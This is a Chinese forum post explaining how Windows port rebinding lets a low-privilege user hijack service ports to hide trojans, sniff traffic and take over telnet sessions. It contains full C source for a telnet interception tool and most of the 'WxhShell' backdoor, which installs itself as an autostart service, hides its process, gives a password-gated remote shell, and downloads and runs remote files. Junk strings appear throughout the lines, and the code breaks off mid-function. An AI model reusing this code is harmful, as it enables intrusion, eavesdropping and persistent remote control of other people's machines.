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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {`e-%<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gK@`0/k{  
#I*{_|}=  
  saddr.sin_family = AF_INET; M d8(P23hS  
sC.r$K+k5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `9gV8u  
4:^MSgra  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .tppCy  
*po o.Zz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Km!ACA&s6  
B3D}'<  
  这意味着什么?意味着可以进行如下的攻击: VBS}2>p  
"A&A?%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "'@D\e}  
7Z~JuTIZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *9xxX,QT8Q  
<2L,+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %{pjC7j#  
fA]sPh4Uag  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  023uAaI^3r  
~d1=_p:~T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9v;HE{>  
L N.:>,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6xwjKh:9  
e$WAf`*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6({)O1Z  
Nnr[@^M5  
  #include "Nb2[R  
  #include BfCnyL%  
  #include 6 C O5:\  
  #include    Q4L=]qc T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B$YoglEW:  
  int main() -mGG:#yP  
  { 0l& '`  
  WORD wVersionRequested; IVZUB*wv)b  
  DWORD ret; @$ Nti>  
  WSADATA wsaData; <8Tp]1z  
  BOOL val; (aC=,5N  
  SOCKADDR_IN saddr; j|`lOH8  
  SOCKADDR_IN scaddr; 5uahfJk  
  int err; %'_:#!9  
  SOCKET s; ;%(sbA  
  SOCKET sc; & 0\:MJc  
  int caddsize; K3`!0(  
  HANDLE mt; .VNz( s  
  DWORD tid;   , V,Q(!$F  
  wVersionRequested = MAKEWORD( 2, 2 ); m@+QC$6S  
  err = WSAStartup( wVersionRequested, &wsaData ); qV idtSb  
  if ( err != 0 ) { 8~t8^eBg  
  printf("error!WSAStartup failed!\n"); 27+faR  
  return -1; 0^nF : F  
  } !lL `L \  
  saddr.sin_family = AF_INET; 3c7i8b$  
   qyFeq])  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4c{j9mh  
]0 = |?n$7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GnUD<P=I  
  saddr.sin_port = htons(23); [KHlApL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QV HI}3~  
  { ='w 2"4  
  printf("error!socket failed!\n"); 2Xk;]-T!  
  return -1; iAk.pH]a  
  } B(vCi^  
  val = TRUE; &+A78I   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ks6iy}f7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n1JV)4Mv  
  { %72(gR2Wa2  
  printf("error!setsockopt failed!\n"); 8>LDo"<  
  return -1; 3**t'iWQ  
  } ]+m 2pEO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U1Fo #L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4e.19H9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E`(=n(Qu  
KS$"Re$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _?cum ~A@  
  { )g^qgxnnV  
  ret=GetLastError(); ^BRqsVw9  
  printf("error!bind failed!\n"); mD ZA\P_  
  return -1; r-xP 6  
  } lw}7kp4 2F  
  listen(s,2); E R~RBzp  
  while(1) G~bDl:k`A  
  { O CIoY?a  
  caddsize = sizeof(scaddr); C96*,.j~'  
  //接受连接请求 0A~UuH0.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7RBEEE`)  
  if(sc!=INVALID_SOCKET) (3D&GY!/  
  { Ab/JCZNn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0gW{6BtPWm  
  if(mt==NULL) 3h>L0  
  { H~vrCi~t"  
  printf("Thread Creat Failed!\n"); %,z;W-#gnY  
  break; 4%8den,|  
  } cuumQQ  
  } rO.[/#p\  
  CloseHandle(mt); ]Q0bL  
  } u^|cG{i5"  
  closesocket(s); 4vN:Kj  
  WSACleanup(); mIDVN  
  return 0; `{h)-Y``  
  }   dR< d7  
  DWORD WINAPI ClientThread(LPVOID lpParam) |39,n~"o&  
  { -P|claO0  
  SOCKET ss = (SOCKET)lpParam; hDSf>X_*_G  
  SOCKET sc; Cd=$XJ-b  
  unsigned char buf[4096]; 7}~w9jK"F  
  SOCKADDR_IN saddr; IvkYM`%  
  long num; ::#[lw  
  DWORD val; 9$e$L~I#u  
  DWORD ret; .;Gx.}ITG6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7=u Gf$/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +^esL9RG:  
  saddr.sin_family = AF_INET; {D..(f1*u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ri_2@U-  
  saddr.sin_port = htons(23); ~CV.Ci.dG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ru9@|FgAE  
  { ( >ze{T|  
  printf("error!socket failed!\n"); F <6(Hw#>  
  return -1; }v|_]   
  } +_pfBJ_$%  
  val = 100; XR7v\rd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rFzj\%xa[  
  { tN\I2wm  
  ret = GetLastError(); o@.{|j  
  return -1; w}OBp^V^  
  } cUG^^3!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l=l$9H,  
  { 6s~B2t:Y  
  ret = GetLastError(); %bF157X5An  
  return -1; ercXw7{  
  } ,<#Rk 'y$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ys`oHS f  
  { *VJISJC  
  printf("error!socket connect failed!\n"); o/V T"cT  
  closesocket(sc); g~.#.S ds  
  closesocket(ss); (.@peHu)#  
  return -1; =M*pym]QSY  
  } nr -< mQ  
  while(1) !DSm[Z1  
  { 82EvlmD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D QxuV1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1Hr1Ir<KR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7 rRI-wZ  
  num = recv(ss,buf,4096,0); f"j9C% '*  
  if(num>0) 1_f+! ns#  
  send(sc,buf,num,0); Udtz zka  
  else if(num==0) ElB[k<  
  break; c"lwFr9x7  
  num = recv(sc,buf,4096,0); m3pDFI  
  if(num>0) W3>9GY90R  
  send(ss,buf,num,0); V-go?b`  
  else if(num==0) F09%f"9  
  break; |X A0F\  
  } fvH{ va.  
  closesocket(ss); R59iuHQ[  
  closesocket(sc); m^qFaf)6  
  return 0 ; m{RXt  
  } %} zkmEY.e  
4D<C;>*/b  
O<L=N-  
========================================================== u1y>7,Z6W  
8/tB?j  
下边附上一个代码,,WXhSHELL *aM7d>nG5  
j_}:=3  
========================================================== 0%L:jq{5  
_^(1Qb[  
#include "stdafx.h" t'At9<ib  
y6d!?M(0U  
#include <stdio.h> 579D  
#include <string.h> \WC,iA%Y  
#include <windows.h> +CdUr~6  
#include <winsock2.h> e>e${\ =,  
#include <winsvc.h> Bi \fB-|  
#include <urlmon.h> IaSPwsvt'  
u4xtlGt5  
#pragma comment (lib, "Ws2_32.lib") )mwwceN  
#pragma comment (lib, "urlmon.lib") zw+wq+2"  
Hqs-q4G$  
#define MAX_USER   100 // 最大客户端连接数 gAztdA sLM  
#define BUF_SOCK   200 // sock buffer P,)D0i  
#define KEY_BUFF   255 // 输入 buffer q|]CA  
_wb]tE ~g  
#define REBOOT     0   // 重启 l#^?sbG  
#define SHUTDOWN   1   // 关机 %regt{  
`~=z0I  
#define DEF_PORT   5000 // 监听端口 w{[^  
FqbGT(QB0  
#define REG_LEN     16   // 注册表键长度 srN7  
#define SVC_LEN     80   // NT服务名长度 }F.k,2  
>Q@y8*E\F  
// 从dll定义API 1DAU *^-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q) aZ0 Pt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VUUnB<j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <v'[Wl@hq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q#c+%,Z=C  
U&R)a| 7R  
// wxhshell配置信息 \VOv&s;h  
struct WSCFG { viYrPhH+z  
  int ws_port;         // 监听端口 YfT D  
  char ws_passstr[REG_LEN]; // 口令 FT6CKsM"  
  int ws_autoins;       // 安装标记, 1=yes 0=no b~tu;:  
  char ws_regname[REG_LEN]; // 注册表键名 qfCZ [D  
  char ws_svcname[REG_LEN]; // 服务名 __tA(uA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M"s:*c_6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !^MwE]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ue7D' UZL>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \Q}Y"oq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (#>X*~6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fyw X  
u5rvrn ]  
}; ZaY|v-  
=kwz3Wv  
// default Wxhshell configuration l(Hz9  
struct WSCFG wscfg={DEF_PORT, H"w;~;h  
    "xuhuanlingzhe", ydOG8EI  
    1, Oj%5FUP~[%  
    "Wxhshell", jGkDD8K [  
    "Wxhshell", x5PM ]~"p  
            "WxhShell Service", s92ol0`  
    "Wrsky Windows CmdShell Service",  9Ca0Tu  
    "Please Input Your Password: ", 7DK}c]js  
  1, tpA-IL?KQw  
  "http://www.wrsky.com/wxhshell.exe", ~Y~M}4  
  "Wxhshell.exe" aiz ws[C  
    }; }[!=O+g O  
a)r["*bTx  
// 消息定义模块 A*+gWn,4Y_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (c}!gjm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yLCMu | +  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X0j>g^b8  
char *msg_ws_ext="\n\rExit."; W(ryL_#;  
char *msg_ws_end="\n\rQuit."; fHZ9wK>  
char *msg_ws_boot="\n\rReboot..."; @ls/3`E/5E  
char *msg_ws_poff="\n\rShutdown..."; yId1J  
char *msg_ws_down="\n\rSave to "; Y[PC<-fyf  
aLW3Ub{h  
char *msg_ws_err="\n\rErr!"; Sw>>]UjU  
char *msg_ws_ok="\n\rOK!"; D[]0/+,  
ipGxi[Vav  
char ExeFile[MAX_PATH]; ( ?(gz#-  
int nUser = 0; +U ziO#D  
HANDLE handles[MAX_USER]; v\G 7V  
int OsIsNt; !+Y+P?  
G!C }ULq  
SERVICE_STATUS       serviceStatus; H-e$~vEbP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t%^&b'/Z  
K^"l.V#J  
// 函数声明 ( 6zu*H)  
int Install(void); DEkv,e  
int Uninstall(void); havmhS)O  
int DownloadFile(char *sURL, SOCKET wsh); =w!9:I&a0  
int Boot(int flag); SnUR?k1  
void HideProc(void); ,m0 M:!hK  
int GetOsVer(void); mc2uI-W  
int Wxhshell(SOCKET wsl); wS,fj gX  
void TalkWithClient(void *cs); 7>r[.g  
int CmdShell(SOCKET sock); ~$^ >Vo  
int StartFromService(void); c}S<<LR  
int StartWxhshell(LPSTR lpCmdLine); +C7W2!I[G2  
vY.VFEP/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dJrUcZBr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CflyK@  
eG2'W  
// 数据结构和表定义 s"$K2k;J  
SERVICE_TABLE_ENTRY DispatchTable[] = 8"d??3ZXJ  
{ jp4-w(  
{wscfg.ws_svcname, NTServiceMain}, 54WX#/<Yik  
{NULL, NULL} ,S(Z\[x0  
}; Hq>hnCT  
$Q'LDmot  
// 自我安装 Jh%SenP_oP  
int Install(void) 9o?\*{'KT  
{ 3 .j/D^  
  char svExeFile[MAX_PATH]; i-wWbZ-  
  HKEY key; T)q Uf H  
  strcpy(svExeFile,ExeFile); mb3aUFxA;  
2PeMt^  
// 如果是win9x系统,修改注册表设为自启动 tG9C(D`G  
if(!OsIsNt) { &F7_0iA P(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =)jo}MB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }|8^+V&  
  RegCloseKey(key); QH7 GEj]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I} Q+{/?/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \AoqOC2u  
  RegCloseKey(key); )J+OyR=  
  return 0; &'Nzw2  
    } T]/>c  
  } #k &#d9}  
} }z9v*C  
else { &ZFHWI(P  
6pC1C.  
// 如果是NT以上系统,安装为系统服务 Vz-q7*o $S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z"QtP[_m  
if (schSCManager!=0) PC255  
{ c,)]!{c  
  SC_HANDLE schService = CreateService s7:_!Nd@8  
  ( y>h9:q|  
  schSCManager, p NQ7uy  
  wscfg.ws_svcname, /D|q-`*K  
  wscfg.ws_svcdisp, s]A8C^;c  
  SERVICE_ALL_ACCESS, ;[P>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5f0g7w =-  
  SERVICE_AUTO_START, #M#$2Vt  
  SERVICE_ERROR_NORMAL, (5+g:mSfr  
  svExeFile, :p)^+AF"5  
  NULL, M5:*aCN6P  
  NULL, Q;q{1M>  
  NULL, T?Z^2.Pvc  
  NULL, hG<[F@d  
  NULL -nUK%a"(D  
  ); b-@9Xjv  
  if (schService!=0) ?< yYm;B  
  { 8vR'<_>Q  
  CloseServiceHandle(schService); 0/!0W%f[}  
  CloseServiceHandle(schSCManager); <ycR/X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o F_{oV '  
  strcat(svExeFile,wscfg.ws_svcname); suWO:]FR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ([rSYKpi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <:nyRy}  
  RegCloseKey(key); HFyQ$pbBU  
  return 0; 7042?\\=  
    } t"J{qfNs  
  }  H4YA  
  CloseServiceHandle(schSCManager); &~B8~U4%  
} >X:!Y[N  
} K]yWpW  
",Mrdxn7  
return 1; !5[SNr3^  
} /$\8?<Pc".  
z"7X.*]  
// 自我卸载 &IRM<A!8  
int Uninstall(void) jRDvVV/-wr  
{ %{^|Av1Uz  
  HKEY key; R/E6n &R  
;+o6"ky5  
if(!OsIsNt) { #CyqiOM\*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }F9#3W&`c  
  RegDeleteValue(key,wscfg.ws_regname); lMg#zT!?  
  RegCloseKey(key); $txF|Fj]^A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uz$p'Q  
  RegDeleteValue(key,wscfg.ws_regname); ^k^?>h  
  RegCloseKey(key); EDnZ/)6Gg  
  return 0; fF#Fc&B  
  } rL+.3ZO):P  
} SGy2&{\Z  
} H~Uy/22aQy  
else { (LXYx<  
fshG ~L7S9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y[AB,Dd  
if (schSCManager!=0) uD{ xs  
{ s0x/2z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =h ~n5wQG  
  if (schService!=0) v&]y zl  
  { ~>0H k}Hv  
  if(DeleteService(schService)!=0) { PVljb=8F  
  CloseServiceHandle(schService); tW-[.Y -M,  
  CloseServiceHandle(schSCManager); w"QZ7EyJ  
  return 0; 2cGiE{  
  } bNm]h.  
  CloseServiceHandle(schService); >O~V#1 H  
  } ` ` Yk  
  CloseServiceHandle(schSCManager); {%y|A{}c  
} $[7/~I>m  
} >mEfd=p  
d`5AQfL&  
return 1; Hmx.BBz  
} I=P<RG7j)  
&u6n5-!v  
// 从指定url下载文件 =i;T?*@  
int DownloadFile(char *sURL, SOCKET wsh) OpIeo+^X*  
{ w2('75$J  
  HRESULT hr; CM[83>  
char seps[]= "/"; 4"!kCUB  
char *token; B J I N  
char *file; 7#9%,6Yi  
char myURL[MAX_PATH]; $T7 qd  
char myFILE[MAX_PATH]; Nvh& =%{g  
>w.%KVBJ  
strcpy(myURL,sURL); Z6Kp-z(l3  
  token=strtok(myURL,seps); 5e7\tBab  
  while(token!=NULL) =43NSY  
  { L8 NZU*"  
    file=token; FDGG$z?>m  
  token=strtok(NULL,seps); !g=b=YK  
  } aXZi2  
y; <}`  
GetCurrentDirectory(MAX_PATH,myFILE); '<1Cta`  
strcat(myFILE, "\\"); Zp<#( OIu  
strcat(myFILE, file); EQ :>]O  
  send(wsh,myFILE,strlen(myFILE),0); -Xw S?*O  
send(wsh,"...",3,0); xpwy%uo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E m+&I  
  if(hr==S_OK) Rxlv:  
return 0; V U5</si+  
else zx.SRs$  
return 1; "sY}@Q7  
y>gw@+  
} r{S DJa  
DvOvtd  
// 系统电源模块 ,]]IJ;:w  
int Boot(int flag) T*8K.yw2  
{ 8HIX$OX>2  
  HANDLE hToken; Ss\?SEq  
  TOKEN_PRIVILEGES tkp; &k-NDh3  
7-u'x[=m  
  if(OsIsNt) { Q&?0 ^;r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hJir_=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ssoE,6kS  
    tkp.PrivilegeCount = 1; oK4xRv8Hd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^}wF^ _  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V3d$C&<(  
if(flag==REBOOT) { fH:S_7i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X6qgApyE  
  return 0; DUF$-'A  
} UA ]fKi  
else { ~3f|-%Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gOah5*Lj  
  return 0; Vx> Q  
} tXZMr   
  } )/~o'M3  
  else { ]f U&?z#  
if(flag==REBOOT) { H~>8q~o]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9nFWJn  
  return 0; Q&^\YgkCf  
} DxpJP,wY3  
else { Y3(I;~$!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yaWY>sB  
  return 0; +*Uv+oC|  
} KU+\fwYpnk  
} ;)P=WS:=  
TqfL Sm|  
return 1; Ck"db30.  
} u&UmI-}  
{9x>@p/  
// win9x进程隐藏模块 U0{)goN.  
void HideProc(void) %^nNt:N0  
{ \+l_H4\`K  
u%I%4 gM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #e,TS`"eD  
  if ( hKernel != NULL ) kp}[nehF  
  { s@y;b0$gk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oGl<i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .c0u##/0  
    FreeLibrary(hKernel); 6iF&!Fd>J  
  } ki/Cpfq40*  
(uhE'IQ{(  
return; X7`-dSVE  
} vH1,As  
^Qn:#O9  
// 获取操作系统版本 Y%- !%|  
int GetOsVer(void) )& Oxp&x  
{ Fa v++z  
  OSVERSIONINFO winfo; V`W']  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T:H~Y+qnt  
  GetVersionEx(&winfo); `YE= B{q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S7#dyAX8  
  return 1; j|N<6GSke  
  else a l6y=;\jZ  
  return 0; [C<K~  
} ~UNha/nt  
l(}L-:@A  
// 客户端句柄模块 _2{_W9k  
int Wxhshell(SOCKET wsl) / #rH18  
{ h{$k%YJ?  
  SOCKET wsh; 0( A  ?&  
  struct sockaddr_in client; H{S+^'5Y.  
  DWORD myID; kS9;Tjcx  
Fu5Y<*x  
  while(nUser<MAX_USER)  .P")S|  
{ mU?~s7  
  int nSize=sizeof(client); uozq^sy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7DoU7I\u  
  if(wsh==INVALID_SOCKET) return 1; |0}7/^  
WVOj ;c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %iEdUV\$  
if(handles[nUser]==0) NqNU:_}  
  closesocket(wsh); ~1twGG_;  
else }HmkTk  
  nUser++; P3Lsfi.  
  } '<uM\v^k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o|c6=77043  
vf+z0df  
  return 0; Hs:zfvD  
} [[6" qq  
\)wch P_0  
// 关闭 socket vq+CW?*"  
void CloseIt(SOCKET wsh) o9]32l  
{ rBi<Yy$z  
closesocket(wsh); r `n|fD.  
nUser--; x;E/  
ExitThread(0); 5y\35kT'  
} 7Hgn/b[?b  
rwP)TJh"  
// 客户端请求句柄 % -AcA  
void TalkWithClient(void *cs) wQjYH!u,YZ  
{ #\QW <I#/  
!k*B-@F  
  SOCKET wsh=(SOCKET)cs; _5~|z$GW  
  char pwd[SVC_LEN]; K@g ~  
  char cmd[KEY_BUFF]; ?*+U[*M  
char chr[1]; \/;c^!(<  
int i,j; J@E]Fl  
>3KlI  
  while (nUser < MAX_USER) { |)Dm.)/0)  
!t"/w6X1I  
if(wscfg.ws_passstr) { {#,5C H')  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t&=bW<6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rr1'| k "  
  //ZeroMemory(pwd,KEY_BUFF); .KC V|x;QW  
      i=0; O2p E"8=4Q  
  while(i<SVC_LEN) { +_cigxpTc  
&|ne!wu  
  // 设置超时 V:J|shRo  
  fd_set FdRead; 'q |"+;  
  struct timeval TimeOut; c$2kR:  
  FD_ZERO(&FdRead); .ve_If-Hg  
  FD_SET(wsh,&FdRead); Ax;?~v4Z  
  TimeOut.tv_sec=8; 4dCXBTT  
  TimeOut.tv_usec=0; etiUt~W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M:%g)FgW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :/szA?:W  
rg k1.0U0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d v[.u{#tP  
  pwd=chr[0]; f:&JKB)N  
  if(chr[0]==0xd || chr[0]==0xa) { h@=@ fa  
  pwd=0; 9"+MZ$  
  break; Xy 4k;+  
  } )V[j~uOU)]  
  i++; )$9w Kk\F  
    } .d^8?vo  
7qOkv1.}0  
  // 如果是非法用户,关闭 socket _B erHoQd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V*Fy@  
} %%?}db1n  
0|tyKP|J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QK0]9   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R=E4Sh  
WKlqm)m@  
while(1) { 2#lpIj  
g_P98_2f.k  
  ZeroMemory(cmd,KEY_BUFF); kwT)j(pp<  
m[2[9 bQ0  
      // 自动支持客户端 telnet标准   CkNR{?S  
  j=0; mHju$d  
  while(j<KEY_BUFF) { Is3Y>oX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cyB+(jLHDs  
  cmd[j]=chr[0]; XIbxi  
  if(chr[0]==0xa || chr[0]==0xd) { 85Yi2+8f4  
  cmd[j]=0; '[F`!X  
  break; hp2E! Cma  
  } bF_0',W  
  j++; $poIWJMc  
    } gAsmPI.K  
Qu=b-9  
  // 下载文件 !]g[u3O  
  if(strstr(cmd,"http://")) { U+B"$yBR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *k,3@_5  
  if(DownloadFile(cmd,wsh)) V )oXJL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f['lY1#V1  
  else 6c-'CW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =lk'[P/p`  
  } Ezew@*(  
  else { >"<s7$g  
w/( T  
    switch(cmd[0]) { (n?f016*%d  
  _zM?"16I}  
  // 帮助 KNQj U-A  
  case '?': { 27c0wzq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  wk8fa  
    break; zNKB'hsK  
  } H.{Fw j4  
  // 安装 Ay qs~&{  
  case 'i': { 8YRT0/V  
    if(Install()) WR#h~N 9c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1<#D3CXK  
    else  gvo98Id  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NR_3nt^h  
    break; \ { QH^  
    } f~P YK  
  // 卸载 Khi6z&B  
  case 'r': { P}gtJ;  
    if(Uninstall()) vjm? X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,JK0N_=  
    else R+uZi~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3T]cDVQ_  
    break; We}9'X}  
    } T>| hID  
  // 显示 wxhshell 所在路径 PP'5ANK  
  case 'p': { RPeH[M^  
    char svExeFile[MAX_PATH]; v*GS>S  
    strcpy(svExeFile,"\n\r"); dZ(Z]`L,B  
      strcat(svExeFile,ExeFile); )hO%W|  
        send(wsh,svExeFile,strlen(svExeFile),0); L{>rN`{  
    break; ~?b1x+soV  
    } ,.*D f)+  
  // 重启 yY UAH-  
  case 'b': { fmv:vs /9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]$ s)6)kW  
    if(Boot(REBOOT)) V*te8HIe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zsQkI@)sO  
    else { r-EIoZ"P  
    closesocket(wsh); Y)]VlV!`  
    ExitThread(0); L9Zz-Dr s  
    } =GP L>a&  
    break; wAi7jCY%OY  
    } ATc!c +  
  // 关机 uQ[,^Ee&/  
  case 'd': { 420K6[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vD9.X}l]  
    if(Boot(SHUTDOWN)) 'J &R=MD  
